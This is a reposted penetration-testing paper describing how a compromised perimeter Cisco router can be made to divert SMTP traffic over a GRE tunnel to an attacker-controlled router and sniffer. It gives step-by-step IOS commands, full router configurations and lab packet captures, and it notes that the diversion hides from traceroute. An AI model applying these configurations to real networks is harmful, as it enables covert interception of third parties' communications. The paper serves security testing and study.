[转载]Using a Compromised Router to Capture Network Traffic
<P>文章作者:David Taylor<BR>信息来源:<A href="http://infosecwriters.com/texts.php?op=display&id=41">[url]http://infosecwriters.com/texts.php?op=display&id=41[/url]</A></P><P class=text_head1>Table of Contents</P>
<UL>
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#intro">1. Introduction</A><BR>
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#approach">2. Approach</A><BR>
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#method">3. Methodology</A>
<UL>
<UL>
<UL>
<LI>3.1 Equipment
<LI>3.2 Establish a GRE Tunnel
<LI>3.3 Scenario 1 Policy Routing
<LI>3.4 Scenario 1 Unix Workstation Setup
<LI>3.5 Scenario 2 Policy Routing
<LI>3.6 Scenario 2 Unix Workstation Setup
<LI>3.7 Define Traffic to Capture
<LI>3.8 Policy Routing on Target Router<BR> </LI></UL></UL></UL>
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#results">4. Results</A>
<UL>
<UL>
<UL>
<LI>4.1 Scenario 1
<LI>4.2 Scenario 2<BR> </LI></UL></UL></UL>
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#conc">5. Conclusions and Discussion</A>
<UL>
<UL>
<UL>
<LI>5.1 Transparency
<LI>5.2 Latency Considerations
<LI>5.3 Further Decoding of Traffic
<LI>5.4 Availability<BR> </LI></UL></UL></UL>
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#append">6. Appendices</A>
<UL>
<UL>
<UL>
<LI>6.1 Appendix A – Target Router Configuration
<LI>6.2 Appendix B – Attacker Router Configuration Scenario 1
<LI>6.3 Appendix C – Attacker Router Configuration Scenario 2
<LI>6.4 Appendix D – Scenario 1 Traffic Capture
<LI>6.5 Appendix E – Scenario 2 Traffic Capture
<LI>6.6 Appendix F – Latency Testing <BR> </LI></UL></UL></UL></LI></UL>
<P><SPAN class=text_head1>1. Introduction</SPAN><A name=intro></A></P>
<P>This document details the approach, methodology and results of recent experimentation into the use of a captured perimeter router as a tool for network traffic capture.</P>
<P>In penetration testing scenarios it is often possible to compromise the perimeter router of an organisation. The routers are outside the corporate firewall and often poorly protected. In some cases the captured router may be useful as a launch point for further attack on the target network, but to be truly valuable it is desirable to use this captured router to sniff network traffic to and from the organisation. </P>
<P>A technique to do this using GRE tunnels and policy routing was first published by Gauis in the Phrack #56 article “Things to do in Cisco Land when you are dead”. (<A href="http://www.phrack.com/show.php?p=56&a=10" target=_blank>[url]http://www.phrack.com/show.php?p=56&a=10[/url]</A>). Gauis’ technique involved establishing a GRE tunnel from the captured router to a Linux machine using proof-of-concept software built from modified tcpdump code. </P>
<P>Joshua Wright used a variation on this technique in his paper: “Red Team Assessment of Parliament Hill Firewall” for SANS GCIH practical assessment. (<A href="http://www.giac.org/practical/Joshua_Wright_GCIH.zip" target=_blank>[url]http://www.giac.org/practical/Joshua_Wright_GCIH.zip[/url]</A>). Joshua terminated the GRE tunnel on a second Cisco router, but only managed to capture traffic in one direction: outbound from the organisation. </P>
<P>In this experiment Joshua’s approach was extended, again using a second Cisco router to terminate the GRE tunnel, but transparently capturing traffic to and from the organisation. One of the primary motivating factors for the development of this technique was to minimise the need for customised software and components. </P>
<P>Special thanks go to Darren Pedley (Darren.Pedley@alphawest6.com.au) for his assistance with router configs and sanity checking throughout the experiment.
<P><BR><SPAN class=text_head1>2. Approach<A name=approach></A></SPAN></P>
<P>The approach chosen, was to establish a GRE tunnel between the captured router (“Target router”) and a second router that is under the control of the attacker (“Attacker router”). Policy routing was then used to redirect ingress and egress traffic for the organisation to the attacker router via the GRE tunnel. The traffic was then ‘handled’ by the attacker router before being returned to the target router for final delivery (again via the GRE tunnel). </P>
<P>Two handling scenarios were tested. In the first, the captured traffic was merely ‘reflected’ by the attacker router back down the GRE tunnel, as shown in Figure 1. This method had the advantage of simplicity in the router configuration, but introduced the following issues:
<UL>
<LI>In order to capture the traffic it is necessary to ‘sniff’ the external interface of the attacker router. This would be somewhat difficult for non-ethernet network media.
<LI>Captured network traffic is GRE encapsulated. It would be necessary to decapsulate this traffic before an IP decode could be performed. </LI></UL>
<P><BR></P>
<DIV align=center><IMG height=481 src="http://infosecwriters.com/text_resources/router_to_capture/image001.jpg" width=512 border=0> <BR><SPAN class=imagelabel>Figure 1 – Scenario 1. I</SPAN></DIV>
<P>In the second handling scenario, the attacker router was configured to pass the captured traffic by a Unix workstation before sending it back to the target router. This is shown in Figure 2. This scenario overcomes the two previous disadvantages:
<UL>
<LI>The external network media on the attacker router is arbitrary.
<LI>The traffic forwarded via the Unix workstation has already been decapsulated, and requires less processing to extract useful information. </LI></UL>
<P align=center><BR><IMG height=475 src="http://infosecwriters.com/text_resources/router_to_capture/image002.jpg" width=509 border=0> <BR><SPAN class=imagelabel>Figure 2 – Scenario 2 </SPAN>
<P><BR><SPAN class=text_head1>3. Methodology<A name=method></A></SPAN></P>
<P>The diagram in Figure 3 shows the network topology that was used in this experiment.</P>
<P><BR></P>
<P align=center><IMG height=446 src="http://infosecwriters.com/text_resources/router_to_capture/image003.jpg" width=513 border=0> <BR><SPAN class=imagelabel>Figure 3 – Test Lab Topology </SPAN></P>
<P><SPAN class=text_head2>3.1 Equipment</SPAN><BR>The target router used was a dual Ethernet Cisco 3600. The attacker router was a dual Ethernet Cisco 2600. This methodology would be equally applicable to any Cisco IOS router. It may be applicable to other routers that support GRE and policy routing. </P>
<P>The mail server was a Linux laptop. The network sniffer was a Solaris workstation. The choice of these devices was arbitrary. </P>
<P><SPAN class=text_head2>3.2 Establish a GRE Tunnel</SPAN><BR>The first step, following basic IP configuration of the routers, is to establish a GRE tunnel between the target router and the attacker router. In a real-world implementation of this methodology, the target router must first be compromised to the point that it can be remotely configured. Methods for compromise of this device are beyond the scope of this document.</P>
<P>On the target router: </P>
<P><SPAN class=code>Target#<B>conf t</B> <BR>Target(config)#<B>int tunnel0</B> <BR>Target(config-if)#<B>ip address 192.168.5.1 255.255.255.0</B> <BR>Target(config-if)#<B>tunnel source eth0/1</B> <BR>Target(config-if)#<B>tunnel dest 192.168.1.2</B> <BR>Target(config-if)#<B>tunnel mode gre ip</B> <BR>Target(config-if)#<B>exit</B> <BR>Target(config)#<B>exit</B> <BR>Target# </SPAN>
<P>A tunnel interface called tunnel0 is created. It is assigned a local (virtual) IP address of 192.168.5.1. The external Ethernet interface of the router is defined as the local tunnel endpoint, and the attacker router external IP address is defined as the remote tunnel endpoint.
<P>The equivalent commands are entered on the attacker router.
<P>On the attacker router:
<P><SPAN class=code>Attacker#<B>conf t</B> <BR>Attacker(config)#<B>int tunnel0</B> <BR>Attacker(config-if)#<B>ip address 192.168.5.2 255.255.255.0</B> <BR>Attacker(config-if)#<B>tunnel source eth0/1</B> <BR>Attacker(config-if)#<B>tunnel dest 192.168.1.1</B> <BR>Attacker(config-if)#<B>tunnel mode gre ip</B> <BR>Attacker(config-if)#<B>exit</B> <BR>Attacker(config)#<B>exit</B> <BR>Attacker# </SPAN>
<P>At this point, the GRE tunnel has been established between the two routers. Regardless of how many hops may exist between the routers over the Internet, the GRE tunnel is now considered a single hop.
<P><SPAN class=text_head2>3.3 Scenario 1 Policy Routing</SPAN><BR>For scenarion 1 (see Figure 1), we establish policy routing on attacker router tunnel0 interface to ‘reflect’ traffic arriving on the GRE tunnel.
<P>On the attacker router:
<P><SPAN class=code>Attacker#<B>conf t</B> <BR>Attacker(config)#<B>access-list 100 permit ip any any</B> <BR>Attacker(config)#<B>route-map reflect</B> <BR>Attacker(config-route-map)#<B>match ip address 100</B> <BR>Attacker(config-route-map)#<B>set ip next-hop 192.168.5.1</B> <BR>Attacker(config-route-map)#<B>exit</B> <BR>Attacker(config)#<B>int tunnel0</B> <BR>Attacker(config-if)#<B>ip policy route-map reflect</B> <BR>Attacker(config-if)#<B>exit</B> <BR>Attacker(config)#<B>exit</B> <BR>Attacker# </SPAN>
<P>The access-list 100 matches all IP traffic. The route map selects all traffic that matches access-list 100 (all traffic) and sends it to 192.168.5.1, which is the target router end of the GRE tunnel. This route map is applied to the tunnel0 interface.
<P>The result of this is that all traffic arriving on the tunnel0 interface of the attacker router will be forwarded back out that interface (the tunnel) to the target router.
<P><SPAN class=text_head2>3.4 Scenario 1 Unix Workstation Setup</SPAN><BR>In scenario 1, the attacker Unix workstation was placed outside the external interface of the attacker router. In this instance, the IP configuration of the Unix workstation is arbitrary, as the workstation only needs to passively capture the network traffic.
<P><SPAN class=text_head2>3.5 Scenario 2 Policy Routing</SPAN><BR>In the second scenario we establish policy routing on attacker router tunnel interface and internal Ethernet interface to ‘reflect’ traffic arriving from GRE tunnel, via the Unix workstation on the internal Ethernet interface.
<P>On the attacker router:
<P><SPAN class=code>Attacker#<B>conf t</B> <BR>Attacker(config)#<B>access-list 100 permit ip any any</B> <BR>Attacker(config)#<B>route-map send-traffic-in</B> <BR>Attacker(config-route-map)#<B>match ip address 100</B> <BR>Attacker(config-route-map)#<B>set ip next-hop 192.168.3.2</B> <BR>Attacker(config-route-map)#<B>exit</B> <BR>Attacker(config)#<B>int tunnel0</B> <BR>Attacker(config-if)#<B>ip policy route-map send-traffic-in</B> <BR>Attacker(config-if)#<B>exit</B> <BR>Attacker(config)#<B>route-map send-traffic-out</B> <BR>Attacker(config-route-map)#<B>match ip address 100</B> <BR>Attacker(config-route-map)#<B>set ip next-hop 192.168.5.1</B> <BR>Attacker(config-route-map)#<B>exit</B> <BR>Attacker(config)#<B>int eth0/0</B> <BR>Attacker(config-if)#<B>ip policy route-map send-traffic-out</B> <BR>Attacker(config-if)#<B>exit</B> <BR>Attacker(config)#<B>exit</B> <BR>Attacker# </SPAN>
<P>The send-traffic-in route map is applied to the tunnel0 interface. It forwards all traffic arriving from the tunnel to the Unix workstation primary Ethernet address (192.168.3.2). The workstation routes this traffic back to the attacker router (192.168.4.1) through default routing.
<P>The send-traffic-out route map is applied to the internal Ethernet interface on the attacker router. It forwards all traffic from the workstation back out the GRE tunnel to the target router.
<P><SPAN class=text_head2>3.6 Scenario 2 Unix Workstation Setup</SPAN><BR>The Unix workstation in scenario 2 is configured as follows: <BR>Primary IP address: 192.168.3.2 <BR>Secondary IP address: 192.168.4.2
<P>This secondary address is a virtual address on the same physical network interface. <BR>Default route: 192.168.4.1
<P><SPAN class=text_head2>3.7 Define Traffic to Capture</SPAN><BR>Next, it is necessary to establish access lists for traffic to be captured on target router. <BR>On the target router: <BR> <BR><SPAN class=code>Target#<B>conf t</B> <BR>Target(config)#<B>access-list 101 permit tcp any any eq 25</B> <BR>Target(config)#<B>access-list 101 permit tcp any eq 25 any</B> <BR>Target(config)#<B>exit</B> <BR>Target# </SPAN><BR> <BR>This access-list matches all SMTP (25/tcp) traffic. It is necessary to define rules to match incoming and outgoing packets as this access-list will be used in route maps for both interfaces of the target router.
<P><SPAN class=text_head2>3.8 Policy Routing on Target Router</SPAN><BR>Finally, we establish policy routing on the target router to send interesting traffic via the GRE tunnel. <BR>On the target router: <BR> <BR><SPAN class=code>Target#<B>conf t</B> <BR>Target(config)#<B>route-map capture-traffic</B> <BR>Target(config-route-map)#<B>match ip address 101</B> <BR>Target(config-route-map)#<B>set ip next-hop 192.168.5.2</B> <BR>Target(config-route-map)#<B>exit</B> <BR>Target(config)#<B>int eth0</B> <BR>Target(config-if)#<B>ip policy route-map capture-traffic</B> <BR>Target(config-if)#<B>exit</B> <BR>Target(config)#<B>int eth1</B> <BR>Target(config-if)#<B>ip policy route-map capture-traffic</B> <BR>Target(config-if)#<B>exit</B> <BR>Target(config)#<B>exit</B> <BR>Target# </SPAN>
<P>A route map is defined that matches traffic from access-list 101 (all SMTP traffic), and forwards this traffic to the attacker router over the GRE tunnel. This route map is applied to both the inside and outside interfaces of the router. <BR><BR>At this point all ingress and egress SMTP traffic through the router will be redirected to the attacker router via the GRE tunnel. Traffic arriving at the captured router from the GRE tunnel (return traffic) is delivered according to standard routing. <BR> <BR>Final configurations for the target router may be found in Appendix A. The final configurations for Scenario 1 and 2 on the attacker router may be found in Appendices B and C respectively.
<P><BR><SPAN class=text_head1>4. Results</SPAN><A name=results></A>
<P>In both scenarios SMTP connections were diverted via the GRE tunnel and successfully captured by the Unix workstation.
<P><SPAN class=text_head2>4.1 Scenario 1</SPAN><BR>The following snoop excerpt shows the intercepted SMTP session establishment (three way handshake) for the first scenario:
<P><SPAN class=code>1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 <BR>2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823 <BR>3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797 <BR>4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824 <BR>5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798 <BR>6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 <BR>7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 <BR>8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825 <BR>9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799 </SPAN>
<P>Packet 1 shows the TCP SYN packet from the client to the mail server. <BR>Packets 2 and 3 show this SYN being sent from the target router to the attacker router and back again. <BR>After packet 3, the SYN is delivered to the mail server: this is not shown. The mail server responds to this with a SYN/ACK: this is not shown. <BR>Packets 4 and 5 show the SYN/ACK traversing the GRE tunnel. <BR>Packet 6 shows the SYN/ACK being returned to the mail client. <BR>Packet 7 shows the ACK packet (final packet in three way handshake) from the client to the mail server. <BR>Packets 8 and 9 show this ACK traversing the GRE tunnel. <BR>After packet 9, the ACK is delivered to the mail server, the session is established, and the SMTP connection continues.
<P>A more complete transcript of this capture, along with a protocol decode for packet 2 may be found in Appendix D.
<P><SPAN class=text_head2>4.2 Scenario 2</SPAN><BR>The following snoop excerpt shows the intercepted SMTP session establishment (three way handshake) for the second scenario:
<P><SPAN class=code>1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR>2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR>3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 <BR>5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 <BR>6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 </SPAN>
<P>Packet 1 and 2 show the TCP SYN packet from the client to the mail server. This (and all) traffic is duplicated since the captured traffic is routed in and out of the same interface on the Unix workstation. <BR>Packets 3 and 4 show the SYN/ACK from the mail server to the client. <BR>Packets 5 and 6 show the ACK from the client to the mail server (final part of three way handshake).
<P>A more complete transcript of this capture may be found in Appendix E.
<P><BR><SPAN class=text_head1>5 Conclusions and Discussion<A name=conc></A></SPAN>
<P><SPAN class=text_head2>5.1 Transparency</SPAN><BR>This method of interception is almost completely transparent to the end users of the system (see the following section on latency). Standard traceroute utilities will not show the extra hops incurred by the GRE redirection, since traceroute traffic is not selected for policy routing. <BR>It would be possible, but somewhat difficult, to write a TCP-based traceroute utility using port 25 connections and increasing TTL values in order to discover the additional hop/s incurred.
<P>Of course, examination of the target router configuration would easily lead to discovery.
<P><SPAN class=text_head2>5.2 Latency Considerations</SPAN><BR>The process of redirecting the traffic via the attacker router will introduce additional latency on the captured traffic. This increase in latency may be represented as: <BR>2<I>n</I> + <I>m</I> <BR>Where <I>n</I> is the time taken for traffic to move across the Internet from the target router to the attacker router, and <I>m</I> is the time delay incurred by the attacker router (and Unix workstation) in handling this traffic. <BR>The value of <I>m</I> was found to be in the order of 10ms in lab conditions – see Appendix F for details. <BR>Where <I>n</I> is likely to be large, this technique should be restricted to non-time-critical traffic such as SMTP, DNS zone transfers and the like.
<P><SPAN class=text_head2>5.3 Further Decoding of Traffic</SPAN><BR>The extraction of useful data from the captured traffic is left as an exercise to the reader. Standard Unix utilities such as strings, and od may be handy for this.
<P><SPAN class=text_head2>5.4 Availability</SPAN><BR>Where this technique is used in real-world circumstances, it should be noted that the attacker router (and the Unix workstation in scenario 2) become single points of failure in the communications path. If either of these devices were to become unavailable, the traffic selected by the access list in section 3.7 would not be delivered.
<P><BR><SPAN class=text_head1>6. Appendices</SPAN><A name=append></A>
<P><SPAN class=text_head2>6.1 Appendix A – Target Router Configuration</SPAN><BR><SPAN class=code>! <BR>version 12.2 <BR>service timestamps debug uptime <BR>service timestamps log uptime <BR>no service password-encryption <BR>! <BR>hostname Target <BR>! <BR>no logging console <BR>! <BR>ip subnet-zero <BR>! <BR>interface Tunnel0 <BR>ip address 192.168.5.1 255.255.255.0 <BR>tunnel source Ethernet0/1 <BR>tunnel destination 192.168.1.2 <BR>! <BR>interface Ethernet0/0 <BR>ip address 192.168.2.1 255.255.255.0 <BR>ip policy route-map capture-traffic <BR>half-duplex <BR>! <BR>interface Ethernet0/1 <BR>ip address 192.168.1.1 255.255.255.0 <BR>ip policy route-map capture-traffic <BR>half-duplex <BR>! <BR>ip classless <BR>no ip http server <BR>no ip pim bidir-enable <BR>! <BR>access-list 101 permit tcp any any eq smtp <BR>access-list 101 permit tcp any eq smtp any <BR>no cdp run <BR>route-map capture-traffic permit 10 <BR>match ip address 101 <BR>set ip next-hop 192.168.5.2 <BR>! <BR>line con 0 <BR>line aux 0 <BR>line vty 0 4 <BR>privilege level 15 <BR>login <BR>! <BR>end </SPAN>
<P><SPAN class=text_head2>6.2 Appendix B – Attacker Router Configuration Scenario 1</SPAN><BR><SPAN class=code>! <BR>version 12.2 <BR>service timestamps debug uptime <BR>service timestamps log uptime <BR>no service password-encryption <BR>! <BR>hostname Attacker <BR>! <BR>logging buffered 4096 debugging <BR>no logging console <BR>enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0 <BR>! <BR>memory-size iomem 10 <BR>ip subnet-zero <BR>! <BR>interface Tunnel0 <BR>ip address 192.168.5.2 255.255.255.0 <BR>ip policy route-map reflect <BR>tunnel source Ethernet0/1 <BR>tunnel destination 192.168.1.1 <BR>! <BR>interface Ethernet0/0 <BR>ip address 192.168.3.1 255.255.255.0 <BR>half-duplex <BR>! <BR>interface Ethernet0/1 <BR>ip address 192.168.1.2 255.255.255.0 <BR>half-duplex <BR>! <BR>ip classless <BR>no ip http server <BR>no ip pim bidir-enable <BR>! <BR>access-list 100 permit ip any any <BR>no cdp run <BR>route-map reflect permit 10 <BR>match ip address 100 <BR>set ip next-hop 192.168.5.1 <BR>! <BR>line con 0 <BR>line aux 0 <BR>line vty 0 4 <BR>privilege level 15 <BR>no login <BR>! <BR>end </SPAN>
<P><SPAN class=text_head2>6.3 Appendix C – Attacker Router Configuration Scenario 2</SPAN><BR><SPAN class=code>version 12.2 <BR>service timestamps debug uptime <BR>service timestamps log uptime <BR>no service password-encryption <BR>! <BR>hostname Attacker <BR>! <BR>logging buffered 4096 debugging <BR>no logging console <BR>enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0 <BR>! <BR>memory-size iomem 10 <BR>ip subnet-zero <BR>! <BR>interface Tunnel0 <BR>ip address 192.168.5.2 255.255.255.0 <BR>ip policy route-map send-traffic-in <BR>tunnel source Ethernet0/1 <BR>tunnel destination 192.168.1.1 <BR>! <BR>interface Ethernet0/0 <BR>ip address 192.168.4.1 255.255.255.0 secondary <BR>ip address 192.168.3.1 255.255.255.0 <BR>ip policy route-map send-traffic-out <BR>half-duplex <BR>! <BR>interface Ethernet0/1 <BR>ip address 192.168.1.2 255.255.255.0 <BR>half-duplex <BR>! <BR>ip classless <BR>no ip http server <BR>no ip pim bidir-enable <BR>! <BR>access-list 100 permit ip any any <BR>no cdp run <BR>route-map send-traffic-out permit 10 <BR>match ip address 100 <BR>set ip next-hop 192.168.5.1 <BR>! <BR>route-map send-traffic-in permit 10 <BR>match ip address 100 <BR>set ip next-hop 192.168.3.2 <BR>! <BR>line con 0 <BR>line aux 0 <BR>line vty 0 4 <BR>privilege level 15 <BR>no login <BR>! <BR>end </SPAN>
<P><SPAN class=text_head2>6.4 Appendix D – Scenario 1 Traffic Capture</SPAN><BR><SPAN class=code> 1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 <BR> 2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823 <BR> 3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797 <BR> 4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824 <BR> 5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798 <BR> 6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 <BR> 7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 <BR> 8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825 <BR> 9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799 <BR>10 40.09693 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826 <BR>11 0.00142 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800 <BR>12 0.00063 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 220 localhost.locald <BR>13 0.13864 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 <BR>14 0.00185 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827 <BR>15 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801 <BR> <BR>82 2.18601 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 q <BR>83 0.00211 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850 <BR>84 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824 <BR>85 0.03858 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851 <BR>86 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825 <BR>87 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 <BR>88 0.18110 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 u <BR>89 0.00186 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852 <BR>90 0.00136 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826 <BR>91 0.00271 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853 <BR>92 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827 <BR>93 0.00059 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 <BR>94 0.05429 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 i <BR>95 0.00191 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854 <BR>96 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828 <BR>97 0.00269 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855 <BR>98 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829 <BR>99 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 <BR>100 0.16402 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 t <BR>101 0.00207 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856 <BR>102 0.00139 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830 <BR>103 0.00270 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857 <BR>104 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831 <BR>105 0.00052 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 <BR>106 0.22869 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 <BR>107 0.00197 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858 <BR>108 0.00137 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832 <BR>109 0.00304 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859 <BR>110 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833 <BR>111 0.00012 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860 <BR>112 0.00055 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 <BR>113 0.00093 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834 <BR>114 0.00058 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 221 2.0.0 localhost. <BR>115 0.00067 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861 <BR>116 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835 <BR>117 0.00049 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 <BR>118 0.00025 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 <BR>119 0.00044 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 <BR>120 0.00172 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862 <BR>121 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836 <BR>122 0.00007 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863 <BR>123 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837 <BR>124 0.00255 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864 <BR>125 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838 <BR>126 0.00054 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 </SPAN>
<P>A snoop decode of a GRE packet is shown below: <BR> <BR><SPAN class=code>ETHER: ----- Ether Header ----- <BR>ETHER: <BR>ETHER: Packet 2 arrived at 12:38:37.06 <BR>ETHER: Packet size = 86 bytes <BR>ETHER: Destination = 0:d0:ba:fe:30:e1, <BR>ETHER: Source = 0:e0:1e:7e:a0:c2, <BR>ETHER: Ethertype = 0800 (IP) <BR>ETHER: <BR>IP: ----- IP Header ----- <BR>IP: <BR>IP: Version = 4 <BR>IP: Header length = 20 bytes <BR>IP: Type of service = 0x00 <BR>IP: xxx. .... = 0 (precedence) <BR>IP: ...0 .... = normal delay <BR>IP: .... 0... = normal throughput <BR>IP: .... .0.. = normal reliability <BR>IP: Total length = 72 bytes <BR>IP: Identification = 823 <BR>IP: Flags = 0x0 <BR>IP: .0.. .... = may fragment <BR>IP: ..0. .... = last fragment <BR>IP: Fragment offset = 0 bytes <BR>IP: Time to live = 255 seconds/hops <BR>IP: Protocol = 47 () <BR>IP: Header checksum = 34fc <BR>IP: Source address = 192.168.1.1, 192.168.1.1 <BR>IP: Destination address = 192.168.1.2, 192.168.1.2 <BR>IP: No options <BR>IP: </SPAN>
<P>A hex decode of the same GRE packet is shown below:
<P><SPAN class=code>0000000 736e 6f6f 7000 0000 0000 0002 0000 0004 <BR>0000020 0000 0056 0000 0056 0000 0070 0000 0000 <BR>0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0 <BR>0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f <BR>0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500 <BR>0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8 <BR>0000140 0202 0651 0019 99d0 26a4 0000 0000 7002 <BR>0000160 4000 f86a 0000 0204 0534 0101 0402 0000 </SPAN>
